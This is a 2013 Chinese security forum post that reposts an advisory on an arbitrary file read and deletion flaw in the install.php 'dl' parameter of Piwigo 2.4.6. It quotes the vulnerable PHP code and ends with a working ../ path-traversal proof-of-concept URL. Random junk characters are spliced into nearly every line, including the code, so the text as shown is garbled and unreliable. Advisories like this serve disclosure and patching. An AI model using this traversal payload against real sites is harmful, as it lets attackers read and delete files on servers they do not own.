找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2072|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
5 j/ C4 a/ v" R# T2 l
( u0 M9 F9 @* t4 u* c( R* kPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
3 Z2 R  P% d6 r! N====================================================================
& t% b5 B9 o# X- ^3 M/install.php:
6 z% ^6 o, _+ \6 B4 y+ `-------------
; W! a" ?0 D- k1 K( h9 d113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
" |# ]) o$ m7 j114: {: Y, i% b  H$ }; r
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];# h  |% P; h, K8 G* I% @$ J0 ?
116:   header('Cache-Control: no-cache, must-revalidate');
' K' Z, P( S$ H+ f( W117:   header('Pragma: no-cache');) M4 @" {" W& h7 T$ o4 t
118:   header('Content-Disposition: attachment; filename="database.inc.php"');# r  j0 Z3 \; a4 O
119:   header('Content-Transfer-Encoding: binary');
  A+ m  N: G2 g+ P* X7 @9 n/ D120:   header('Content-Length: '.filesize($filename));
- f* }9 x, J, Q- I3 T( U121:   echo file_get_contents($filename);
4 \* f0 e; E6 `/ `* R1 W. J122:   unlink($filename);, J8 j4 }1 b* Y) f, t
123:   exit();) F# [  T. H! {0 l% W: r6 g
124: }
+ m6 n6 B9 w- r5 z/ Q) ~! E( e. b====================================================================0 ?4 p" `* w/ I

/ z" V) M! v% w) u! FTested on: Microsoft Windows 7 Ultimate SP1 (EN)5 @- q) x8 V. @8 b) P
           Apache 2.4.2 (Win32)7 e% Z( U; G4 x% w. ?3 h2 c
           PHP 5.4.4% u% `' c1 W" B
           MySQL 5.5.25a0 L$ P' X4 d$ b, d

1 K. G' q7 v% ZVulnerability discovered by Gjoko 'LiquidWorm' Krstic- \( Z2 z; B7 h6 R+ {! ^$ M
                            @zeroscience
: `" Z' Q- e1 m
8 G" a3 e' W  t5 M4 I% y8 TAdvisory ID: ZSL-2013-5127; X8 S! e. |. B2 p
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php" S4 E4 y7 V! V' ~
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
  t9 c, G1 ^; G/ ? # Q+ Q: @0 Z7 i% E" R4 O+ v
15.02.2013
% Q6 M" w, K$ R  x) x; [ 7 r# T+ ]. l" Z6 }
--" h* _  T) I) o0 ?( }% p
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt+ }0 O: S$ y$ ?* n: P: e6 ]
- e; |3 f- D( Y) I% Y! G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表